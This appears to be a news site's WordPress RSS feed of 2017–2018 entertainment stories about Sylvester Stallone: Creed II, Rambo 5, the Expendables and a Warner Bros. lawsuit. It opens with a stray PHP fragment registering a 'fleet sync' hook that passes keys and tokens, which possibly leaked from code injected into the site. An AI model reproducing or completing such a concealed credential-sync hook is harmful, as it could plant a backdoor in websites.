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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Sylvester – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 28 Nov 2018 18:01:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Sylvester – Brief News https://briefnews.eu 32 32 Sylvester Stallone Announces ‘Creed II’ as the Last Round for Rocky Balboa https://briefnews.eu/sylvester-stallone-announces-creed-ii-as-the-last-round-for-rocky-balboa/ https://briefnews.eu/sylvester-stallone-announces-creed-ii-as-the-last-round-for-rocky-balboa/#respond Wed, 28 Nov 2018 18:01:23 +0000 http://briefnews.eu/sylvester-stallone-announces-creed-ii-as-the-last-round-for-rocky-balboa/ Sylvester Stallone Retiring Rocky Balboa

Creed II hit theaters last week, and even though it came in #2 on the box office charts behind a record-breaking haul for Ralph Breaks the Internet, the movie carved its own legacy by landing the biggest Thanksgiving opening weekend ever for a live-action movie. Now, if a new Instagram video from Sylvester Stallone holds strong, it sounds like Adonis Creed will really be setting out on his own from here on out.

Sylvester Stallone took to Instagram today with a video recorded during production on Creed II where he announces that the Rocky spin-off sequel will likely be his “last rodeo” as Rocky Balboa. So what does that mean for the future of the Creed franchise?

Sylvester Stallone Retiring Rocky Balboa

If you’re unable to watch the video for some reason, here’s what Stallone says on what appears to be the final day of production with star Michael B. Jordan and director Steven Caple Jr.:

“This is probably my last rodeo because what I thought happened, it has happened, I never expected. I thought Rocky was over in 2006, and I was very happy with that. Then all of a sudden this young man presented himself, and the whole story changed. It went on to a new generation, new problems, new adventures. And I couldn’t be happier because as I step back, as my story has been told, there’s a whole new world that’s gonna be opening up for the audience, for this generation. Thank you very much, Stephen. And definitely you, Michael, for making that possible. Now you have to carry the mantle.”

While this might come as a surprise to fans when the Creed franchise is clearly doing so well with fans at the box office, Creed II does a fine job of setting the stage for Rocky Balboa to finally take a step back and let Adonis Creed set out on his own path. However, in order to touch on that, we must dive into some Creed II spoilers.

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Creed Needs to Move on from Rocky

During and after the final fight between Adonis Creed and Viktor Drago, on several occasions, Rocky Balboa tells his protege “This is your time.” While one could easily mistake that as simple words of encouragement as the fighter has defended his championship title, the final iteration of this line finds Rocky taking a seat next to the ring as Adonis and Bianca celebrate victory in front of all the cameras and fans. It’s a meaningful moment, and it’s one that clearly sets the stage for Rocky to finally let Creed set out on his own.

Considering the fact that much of the criticism of Creed II has come from the film tapping too much into the legacy of the Rocky franchise, having Creed finally move on from Rocky is the best move for the series. Plus, if Creed II really is the end for Sylvester Stallone as Rocky, then one would assume that Philadelphia’s favorite boxer may finally head to that boxing ring in the sky. That would be quite the hurdle for Creed to overcome if Creed III actually comes together. It’s not hard to imagine the sequel to start with Rocky’s funeral, setting the stage for Creed’s first real solo endeavor as a fighter.

Then again, let’s not forget that Sylvester Stallone has trouble letting go of the past. There were several instances when Stallone said he was finished with both the Rocky and Rambo franchises, but obviously he’s returned to both of them in recent years. In the case of Rocky, it would only make sense for him to return in Creed III if it was finally time to send him off for good. Only time will tell if Sylvester Stallone is really done with Rocky for good.

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]]> https://briefnews.eu/sylvester-stallone-announces-creed-ii-as-the-last-round-for-rocky-balboa/feed/ 0 Rambo 5: Sylvester Stallone shares SET VIDEOS plus ‘STILL working on script between shots’ https://briefnews.eu/rambo-5-sylvester-stallone-shares-set-videos-plus-still-working-on-script-between-shots/ https://briefnews.eu/rambo-5-sylvester-stallone-shares-set-videos-plus-still-working-on-script-between-shots/#respond Tue, 23 Oct 2018 16:40:59 +0000 http://briefnews.eu/rambo-5-sylvester-stallone-shares-set-videos-plus-still-working-on-script-between-shots/

The 72-year-old action star is busy shooting Rambo 5: Last Blood in Bulgaria and Spain.

So far he’s been updating fans through his Instagram account with new snaps of his Rambo and now he’s shared a couple of set videos.

One is a 30-second clip showing his Vietnam vet has become something of a cowboy, as he practises riding a horse in a Stetson hat.

In another piece of footage Stallone goes round in circles on a noble steed.

The actor has also added a new snap of himself in character as Rambo “lost in thought”

While yet another shows a contrast of his eyes in the new film compared to the original, 1982’s First Blood.

A caption by Stallone reads: “No beast so fierce as a man pushed to the edge… #rambo5.”

However it’s a shot of the star’s gloved hand working on the script while sitting on some farm machinery, that will cause the most attention.

Here Stallone captioned: “A Writer’s job is never done…

“Still working on the screenplay in between shots of operating an earth mover…”

The actor has penned the new script with Matt Cirulnick, but should fans be concerned he’s still tweaking the dialogue at this stage?

It’s not always a good sign, but hopefully, the move is with good intentions. Plus, as previous outings have shown, John Rambo isn’t exactly a chatterbox.

The film’s synopsis reads: “[The movie] finds him living in a ranch in Arizona, deeply troubled and wrestling with PTSD as he picks up casual work wherever he can.

“When long-time family friend and estate manager Maria informs Rambo that her granddaughter has gone missing after crossing into Mexico for a party, he sets off with her to find the youngster.

“What ensues is a violent descent into hell as Rambo uncovers a sex-trafficking ring. He teams up with a journalist whose half-sister has also been kidnapped and must deploy all his skills to save the girls and bring down a vicious crime lord.”

Rambo 5: Last Blood is set for release in Autumn 2019.

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]]> https://briefnews.eu/rambo-5-sylvester-stallone-shares-set-videos-plus-still-working-on-script-between-shots/feed/ 0 Rambo 5: Sylvester Stallone teases sequel with NEW pictures https://briefnews.eu/rambo-5-sylvester-stallone-teases-sequel-with-new-pictures/ https://briefnews.eu/rambo-5-sylvester-stallone-teases-sequel-with-new-pictures/#respond Mon, 13 Aug 2018 15:25:15 +0000 http://briefnews.eu/rambo-5-sylvester-stallone-teases-sequel-with-new-pictures/

The 72-year-old has been hitting the gym hard in preparation for Rambo 5 and now he’s teased the long-awaited sequel with two new pictures.

The first shows Rambo from behind in the rain, wearing his signature red bandana.

Posting on his Instagram, Stallone wrote: “A SAVAGE RISING!… soon.”

He followed this with an up close head shot of Rambo back in the day, but coloured red.

For this one Stallone captioned: “… The Devil came from Arizona.”

Rambo 5 is due to start shooting on September 1, with filming set to take place in London, Bulgaria and the Canary Islands.

According to Screen Daily, the synopsis is as follows: “[Rambo] finds him[self] living in a ranch in Arizona, deeply troubled and wrestling with PTSD as he picks up casual work wherever he can.

“When long-time family friend and estate manager Maria informs Rambo that her granddaughter has gone missing after crossing into Mexico for a party, he sets off with her to find the youngster.”

The synopsis continues: “What ensues is a violent descent into hell as Rambo uncovers a sex-trafficking ring.

“He teams up with a journalist whose half-sister has also been kidnapped and must deploy all his skills to save the girls and bring down a vicious crime lord.”

Back in May Stallone revealed the film’s official title as Rambo V on a teaser poster.

Meanwhile Stallone has been working on sequels to his other major franchises.

Later this year he returns as Rocky Balboa in Creed II, the eighth film in his Rocky franchise.

The star was nominated for the Best Supporting Actor Oscar at the 2016 Academy Awards for his role in the film.

Incredibly he was previously nominated for playing the same character almost 40 years ago.

Rambo V is set for release in Autumn 2019.

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]]> https://briefnews.eu/rambo-5-sylvester-stallone-teases-sequel-with-new-pictures/feed/ 0 ‘Rambo 5’ Will Bring Back Sylvester Stallone to Take on a Mexican Drug Cartel https://briefnews.eu/rambo-5-will-bring-back-sylvester-stallone-to-take-on-a-mexican-drug-cartel/ https://briefnews.eu/rambo-5-will-bring-back-sylvester-stallone-to-take-on-a-mexican-drug-cartel/#respond Sun, 06 May 2018 07:11:14 +0000 http://briefnews.eu/rambo-5-will-bring-back-sylvester-stallone-to-take-on-a-mexican-drug-cartel/ Rambo 5 - Sylvester Stallone

Sylvester Stallone may be 71 years old, but that’s not going to stop him from taking on some new enemies in yet another sequel in the Rambo action franchise.

Rambo 5 is currently being shopped around by Avi Lerner and his Millennium Films banner at the Cannes Film Market. And rather than passing the torch as Stallone did in the   spin-off Creed, it looks like Sylvester Stallone will take the lead again as the Vietnam veteran who can’t seem to keep himself out of trouble.

Deadline has news of Rambo 5 in the works with Sylvester Stallone working on the script himself. Avi Lerner, who worked with Stallone on the Expendables franchise, will produce. But what brings Rambo back into action this time?

The last time we heard about Rambo 5 in 2014, the only details we knew were that John Rambo was going to face off with a Mexican drug cartel. It turns out that Rambo is minding his own business on a ranch somewhere, but when a friend’s daughter is kidnapped by the drug cartel, he crosses the Mexican border to get her back.

Does this mean that Millennium Films is no longer considering their reboot of the franchise with Rambo: New Blood? A couple years ago heard about the possibility of a project that would treat Rambo like James Bond and put another actor in the role without Sylvester Stallone being involved anymore. That sounds like an infinitely worse idea than Rambo 5, so hopefully this will just end the franchise entirely.

Rumors previously suggested Rambo 5 would be called Rambo: Last Blood, which would be an appropriate title to end the franchise that began with First Blood back in 1982.

If we’re talking about a Logan-esque send-off for Rambo, then this could be satisfying, but at the same time, I thought we were done with this character after Rambo hit theaters in 2008. While the sequel didn’t bomb, it didn’t make quite as much as First Blood did 26 years earlier, and it seemed like the character had run his course.

Stallone directed Rambo in 2008, but there’s no word on whether he’ll get behind the camera again for this developing sequel. No matter who directs, I hope they can do something to make this character compelling again. Because when you have action movies like John Wick and Mad Max: Fury Road making waves, I’m not sure that John Rambo can keep up with the genre that he once defined. We’ll keep you posted as Rambo 5 develops.

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]]> https://briefnews.eu/rambo-5-will-bring-back-sylvester-stallone-to-take-on-a-mexican-drug-cartel/feed/ 0 ‘Creed 2’ Will Return Sylvester Stallone to the Director’s Chair https://briefnews.eu/creed-2-will-return-sylvester-stallone-to-the-directors-chair/ https://briefnews.eu/creed-2-will-return-sylvester-stallone-to-the-directors-chair/#respond Tue, 10 Oct 2017 06:21:01 +0000 http://briefnews.eu/creed-2-will-return-sylvester-stallone-to-the-directors-chair/ creed 2 director

We live in the age of legacy sequels, movies that dust off a dormant franchise and often allow the old cast to hand off the torch to a new generation. Some of these have been magnificent: Star Wars: The Force Awakens, Mad Max: Fury Road, Blade Runner 2049, and, of course, Creed, which spun the Rocky series in an enthralling new direction.

And now, two years after the first film was a box office and critical sensation, Creed 2 has found a director in Sylvester Stallone.

Stallone, who received a well-deserved Academy Award nomination for his stellar work onscreen in Creed, took to Instagram to announce the news that he’d be helming the follow-up. Alongside a picture of him and star Michael B. Jordan, he wrote: “Looking forward to directing and Producing The incredibly talented Michael B Jordan in CREED 2 next year … One more Round !”

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If you’re not sure how to take this news…well, you’re not alone! On one hand, Stallone has always been a guiding hand in the Rocky movies, the series that transformed him into a movie star. While Stallone did not direct the first film in the series, he did write and star in it, receiving two Oscar nominations for his efforts. He then went on to direct Rocky II, Rocky III, and Rocky IV, which saw the series grow increasingly cartoonish and stray far from the beautiful, humble first movie. However, he found redemption in 2006’s Rocky Balboa, a soulful conclusion to the Rocky saga. That is, until Creed came along and brought the Italian Stallion back to the ring to train the son of his long-dead frenemy, Apollo Creed.

And one of the reasons Creed was so fresh, so soulful, and so enthralling was the man behind the camera: Ryan Coogler. With the Fruitvale Station director entering the big leagues with Marvel’s Black Panther, his involvement in the Creed sequel always seemed to be up in the air. Now, it’s been made clear that Stallone will pick things up where he left off.

On one level, it’s lovely to see Stallone get behind the camera again for a series that has defined his career. On the other, Creed was so good because Coogler breathed fresh life into this world and directed Stallone to a career-best performance. What is Creed 2 without Coogler? Is Stallone the right guy for the next chapter in the life of Adonis Creed?

Although we don’t know any specific plot details, Stallone has spent the past few months teasing the return of Dolph Lundgren’s Ivan Drago, the Russian boxer who killed Apollo Creed in the ring back in the live-action cartoon that is Rocky IV. And with Rocky Balboa himself still battling cancer in the final scenes of Creed, it wouldn’t surprise me to see Stallone use this movie to grapple with his own mortality and come to peace with his friends and enemies. And bringing back one of his most famous (if somewhat ludicrous) adversaries could be the kind of cathartic cinematic therapy that will get tears flowing in theaters across the world. Plus, there’s that cryptic “one more round,” which suggests that this could be the end of the line for Rocky.

Creed 2 doesn’t have a release date, but as Stallone indicates in the post above, he’s apparently looking to film next year.

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]]> https://briefnews.eu/creed-2-will-return-sylvester-stallone-to-the-directors-chair/feed/ 0 Sylvester Stallone Confirms the Return of Ivan Drago for ‘Creed 2’ [Updated] https://briefnews.eu/sylvester-stallone-confirms-the-return-of-ivan-drago-for-creed-2-updated/ https://briefnews.eu/sylvester-stallone-confirms-the-return-of-ivan-drago-for-creed-2-updated/#respond Mon, 24 Jul 2017 15:14:04 +0000 http://briefnews.eu/sylvester-stallone-confirms-the-return-of-ivan-drago-for-creed-2-updated/ Ivan Drago in Creed 2

Update: This past weekend, Sylvester Stallone posted a photo on Instagram with the hashtag #drago, which is yet another piece of confirmation that a member of the Drago family will be a character in Creed 2. Read our original article from July 5 below for speculation about how this might play out in the sequel.

Ever since Creed hit theaters in the fall of 2015, surprising us all with just how outstanding a spin-off of Rocky could be, fans have been wondering when/if a sequel would come together. Though MGM CEO Gary Barber once mentioned that he would like to get a Creed sequel together for release in November of this year, that’s certainly not happening. But that doesn’t mean the prospect of a sequel is dead altogether.

Sylvester Stallone has been taking to Instagram over the past couple of weeks with some interesting nostalgic posts that seem to hint at what’s in store for Creed 2. In fact, one of them seems to flat-out confirm what kind of territory the story could be heading, and it includes a face from the past who could really make things interesting.

Back on June 25, Sylvester Stallone posted a rare picture from behind the scenes of Rocky IV:

Really like this RARE picture… ROCKY making DRAGO’S life difficult between takes!!! #CREED 2 #MGM @dolphlundgren

A post shared by Sly Stallone (@officialslystallone) on

Notice that he included a Creed 2 hashtag there at the end? He got even less subtle with the next post:

Directing APOLLO AND DRAGO , The two best “cinema “boxers that ever lived!… Maybe it’s time to try to again? A post shared by Sly Stallone (@officialslystallone) on

And just in case fans didn’t pick up on it with those two previous posts, he made this one over the weekend:

If you’re not as up to snuff on the history of Rocky on the big screen, Ivan Drago is the Russian boxer played by Dolph Lundgren who was brought into the ring in Rocky IV in 1985. At the beginning of the boxing sequel, Apollo Creed (Carl Weathers) came out of retirement to challenge Ivan Drago, who believes he can’t be beat. Rocky Balboa (Stallone) is by Creed’s side as his fight promoter and friend. Rocky ends up being somewhat responsible for Creed’s death as he chooses not to throw in the towel – Drago delivers a blow to the Creed’s head that kills him instantly.

The history between these characters would make for quite the set-up if Ivan Drago were to return to the ring for a Creed sequel. Surely the young Adonis Johnson (Michael B. Jordan) would have more than a few blows that he would like to land on the man who killed his father, but he will likely need more than just anger to defeat such a finely tuned fighter.

Now the question is whether Sylvester Stallone is really teasing the return of Ivan Drago in Creed 2, or merely testing the waters to see if fans are interested in seeing the character return to the franchise. After all, it’s been 32 years since Ivan Drago was a threat in the ring, and Dolph Lundgren isn’t exactly the young, chiseled athlete he was all those years ago. Perhaps we’ll see another legacy fighter enter the ring by having Ivan Drago’s son as a boxer to challenge Adonis this time.

Another possibility is seeing a series of flashbacks throughout Creed 2. Back when it was unclear whether director Ryan Coogler would come back to direct the sequel about a year and a half ago, Sylvester Stallone mentioned an idea the filmmaker had to go back and forth in time, showing Adonis Johnson today juxtaposed with scenes looking back at Rocky and Apollo Creed during their glory days. That might include bringing back Dolph Lundgren as Ivan Drago and using visual effects to de-age the actor.

As of now, there’s no indication as to when Creed 2 might come together. We might get to see director Ryan Coogler get back behind the camera, especially since there’s a good chance he’ll be done with Black Panther by the time the sequel is ready to get off the ground. Stay tuned to see what happens with Creed 2 as more information becomes available.

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]]> https://briefnews.eu/sylvester-stallone-confirms-the-return-of-ivan-drago-for-creed-2-updated/feed/ 0 Peter Kay to follow Sylvester Stallone in SHOCK project after Car Share: ‘I'm delighted’ https://briefnews.eu/peter-kay-to-follow-sylvester-stallone-in-shock-project-after-car-share-im-delighted/ https://briefnews.eu/peter-kay-to-follow-sylvester-stallone-in-shock-project-after-car-share-im-delighted/#respond Wed, 10 May 2017 17:38:41 +0000 http://briefnews.eu/peter-kay-to-follow-sylvester-stallone-in-shock-project-after-car-share-im-delighted/

The Bolton-based star is following in the footsteps of “Hollywood legends” Sylvester Stallone and Kermit The Frog by fronting Warburton’s new bakery adverts.

Although producers are keeping the production under wraps, Kay hopes to persuade Jonathan Warburton to buy into his new “great idea”.

Commenting on his new venture, Kay said: “I’m delighted to be teaming up with Warburtons for their new adverts, not only because I grew up around the corner from the bakery in Bolton but also, I’ll get to go home for my tea.

“I can’t believe I’ll be following in the footsteps of Sylvester Stallone. Also, I don’t understand why Sly didn’t ask to get paid in free bread for life, he missed a right trick there, ah well, it’s Sly’s loss.”

Jonathan Warburton added: “It has been a great day on set. As a family business, we take our baking seriously, but we don’t take ourselves too seriously, so working with someone like Peter has been great fun. Can’t wait for it to hit the screens later this year.”

It comes just days after fans revealed their disappointment after Kay announced on BBC Radio Manchester that he would not be making another Car Share series.

The comedian was quick to apologise to viewers, phoning radio presenter Becky Want to say: “I am sorry I have upset people. Sian [Gibson] put her phone on and had about 50 messages. She said, ‘What have you said, my phone’s gone mental?’

“I just mentioned that that we weren’t doing another one. That’s just the truth. I didn’t mean to upset anybody. I didn’t think there would be petitions.”

He continued: “I am sorry I have upset people. There were a lot of funny things in last night’s episode. People are forgetting things like us hanging out of a front room window. They are just concentrating on the ending.”

The 43-year-old also admitted he had not intended to announce the show’s ending when he rang in the day before.

He explained: “I think people thought it was a publicity stunt but what happened was I heard you were doing a Car Share playlist with the lovely tribute, so I thought it would be quite nice because I can basically see where you are from the roof of my house and I thought it would be lovely to give you a call and thank you.

“I never intended to talk about Car Share. You asked me about series three and I said I didn’t think there was going to be another, which there isn’t going to be, or a Christmas special. But I think people thought it was some kind of publicity plan.”

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]]> https://briefnews.eu/peter-kay-to-follow-sylvester-stallone-in-shock-project-after-car-share-im-delighted/feed/ 0 Sylvester Stallone is Suing Warner Bros. Over Falsifying ‘Demolition Man’ Profit Numbers https://briefnews.eu/sylvester-stallone-is-suing-warner-bros-over-falsifying-demolition-man-profit-numbers/ https://briefnews.eu/sylvester-stallone-is-suing-warner-bros-over-falsifying-demolition-man-profit-numbers/#respond Fri, 14 Apr 2017 02:10:08 +0000 http://briefnews.eu/sylvester-stallone-is-suing-warner-bros-over-falsifying-demolition-man-profit-numbers/ Demolition Man Lawsuit

This fall will mark 24 years since the sci-fi action flick Demolition Man hit theaters, but Sylvester Stallone has just filed a lawsuit against Warner Bros. Pictures for “intentional dishonesty” in their accounting, thereby keeping some of the profits that are owed to the actor and his loan-out company Rogue Marble.

Why is this lawsuit being raised so long after the movie was released? Sylvester Stallone thinks the time is right to make a stink about this that will hopefully set a precedent to force reportedly notoriously dishonest “Hollywood Accounting” to give talent and production companies what’s owed to them.

The Hollywood Reporter highlights this part of the legal complaint, which lays out how shifty Warner Bros. was being about honoring their agreement to give Rogue Marble the profits they’re owed:

“The motion picture studios are notoriously greedy. This one involves outright and obviously intentional dishonesty perpetrated against an international iconic talent. Here, WB decided it just wasn’t going to account to Rogue Marble on the Film. WB just sat on the money owed to Rogue Marble for years and told itself, without any justification, that Rogue Marble was not owed any profits. When a representative of Rogue Marble asked for an accounting, WB balked and then sent a bogus letter asserting the Film was $ 66,926,628 unrecouped. When challenged about this false accounting, it made a double-talk excuse, then prepared an actual profit participation statement for the same reporting period, and sent a check for $ 2,820,000 because the Film had in fact recouped its deficit.”

Sylvester Stallone’s deal gave him 15% of defined gross if the film hit the $ 125 million in profits, 17.5% at $ 200 million and 20% at $ 250 million. We’re not just talking box office, but home video sales as well. Since Demolition Man earned at least $ 125 million, Stallone just wants the 15% that he’s owed.

The biggest problem seems to be that the studio didn’t go out of their way to make sure Stallone and Rogue Marble received the profit participation statements that kept them abreast of the numbers. They hadn’t received any updates since 1997, and just a few years ago, decided to ask for an update. But the numbers they received didn’t make any sense, and then a follow-up resulted in the aforementioned $ 2.8 million check.

Stallone is looking for restitution for Warner Bros. deception, but he’s also pushing forth a fraud claim looking for separate and greater damages, saying the studio “misrepresented and intentionally concealed facts” to create this situation. That part of the lawsuit seems to be the portion that aims to expose the shady accounting practices of Hollywood at large, and I’m not sure how effective that will be.

Anyway, for those interested, you can read the full legal complaint right here. It’s just a shame there’s not a Judge Dredd lawsuit so we could have some fun law wordplay.

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]]> https://briefnews.eu/sylvester-stallone-is-suing-warner-bros-over-falsifying-demolition-man-profit-numbers/feed/ 0 Arnold Schwarzenegger Won’t Do ‘Expendables 4’ Without Sylvester Stallone https://briefnews.eu/arnold-schwarzenegger-wont-do-expendables-4-without-sylvester-stallone/ https://briefnews.eu/arnold-schwarzenegger-wont-do-expendables-4-without-sylvester-stallone/#respond Thu, 06 Apr 2017 05:10:20 +0000 http://briefnews.eu/arnold-schwarzenegger-wont-do-expendables-4-without-sylvester-stallone/ Arnold Schwarzenegger Leaving The Expendables

The Expendables franchise is in even more trouble following Sylvester Stallone‘s disappointing departure from the action film series last week.

Much of the passion for this throwback action franchise comes from star and producer Sylvester Stallone, who rounded up a combination of his old action movie friends and some of the newer meatheads on the block for an assembly of mercenaries who shoot big guns, create big explosions and always take down the bad guy. Now that he’s gone, some of the franchise’s key players don’t have much of interest in returning, like Arnold Schwarzenegger.

News of Arnold Schwarzenegger leaving The Expendables franchise comes from Entertainment Weekly, which spoke with the actor as he promotes his upcoming movie Aftermath (watch the trailer here). Schwarzenegger didn’t mix any bones about not returning for The Expendables 4 now that Stallone is out of the picture:

“There is no Expendables without Sly. I would never do the movie without him, no.”

That’s a decision the actor is willing to make without even knowing much of anything about the movie. The actor confirms, “I have not seen the script; I don’t even know if there is a script, even though they want to shoot in August again like they usually do.” Schwarzenegger is just loyal to his longtime friend, fellow action star, and Planet Hollywood investor.

Having said that, Schwarzenegger did take the time to throw some shade at The Expendables 3, which he thought gave him a poorly written role. The actor elaborated:

“I think the first and second one were terrific. But, the third one, I thought my part was not written well. It was also not playing well in the movie, as far as I was concerned. Maybe other people believed differently. But I didn’t believe that I had any value in the movie. I love the franchise, by the way. I think it’s a spectacular franchise, The Expendables. I think that Sly has good ideas, what he wants to do with it, and I think if they write a really good script [in] which my part is very well-developed, I would do it. If not, then I won’t do it.”

I’m not sure I’d call the first two films in the franchise terrific, but they accomplished what they set out to do, even if the first one took itself a little too seriously. The second one had much more fun, but by the time the third one came around, I think fans had gotten everything they wanted from seeing a huge ensemble of action stars have a big shootout.

If The Expendables 4 falls apart and loses all the stars from the previous installments, that might not be such a bad thing. It would give the franchise a chance to move forward and become something else. Maybe they can even turn this into the once developing Expendabelles spin-off that was supposed to happen but never got off the ground.

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]]> https://briefnews.eu/arnold-schwarzenegger-wont-do-expendables-4-without-sylvester-stallone/feed/ 0 Sylvester Stallone storms away from Expendables franchise and $20 MILLION https://briefnews.eu/sylvester-stallone-storms-away-from-expendables-franchise-and-20-million/ https://briefnews.eu/sylvester-stallone-storms-away-from-expendables-franchise-and-20-million/#respond Sat, 01 Apr 2017 21:08:07 +0000 http://briefnews.eu/sylvester-stallone-storms-away-from-expendables-franchise-and-20-million/

He may be a major star but he is just one of an incredible array of big screen icons in the franchise, so why does his departure matter?

The Expendable 3 boasted a staggering line-up including Jason Statham, Harrison Ford, Arnold Schwarzenegger, Dolph Lundgren, Mel Gibson, Wesley Snipes and Ronda Rousey.

What’s one more muscle-bound star or less?

Stallone, however, created the franchise and helped write the first three films and now he has walked away after a major disagreement.

Deadline has reported that the actor refused to continue working on the next film, Expendables 4, despite being lined up for the biggest up-front pay deal of his career.

Hollywood is awash with testosterone-fuelled feuds at the moment with

Elsewhere, Vin Diesel and Dwayne ‘The Rock” Johnson are apparently still being kept apart at press events during the current promotional tour for Fast and Furious 8, as their feud rumbles on.

The site said that Stallone could not reach an agreement with Nu Image/Millennium chief Avi Lerner about the most fundamental aspects of the next movie, including the choice of a new director, the script and certain creative elements of the film, including selecting the visual effects team.

Apparently the two have been constantly at loggerheads throughout the making of the first three films, but industry insiders expecetd them to resolve their differences as they have evry other time in the past.

Instead, Stallone has walked away from the movies that reestablished him as a major box office action hero.

Lerner told Deadline that he is confident that Stallone will eventually compromise and return to the series.

He said: “We’ve got disagreements with Sly, but we’ve had them for over a year and a half. Right now, each one has an opinion. We agreed on 95% of things, but there are certain things in production we don’t agree on.

“I don’t think it’s over, but write whatever you want. In my opinion, it’s not dead.”

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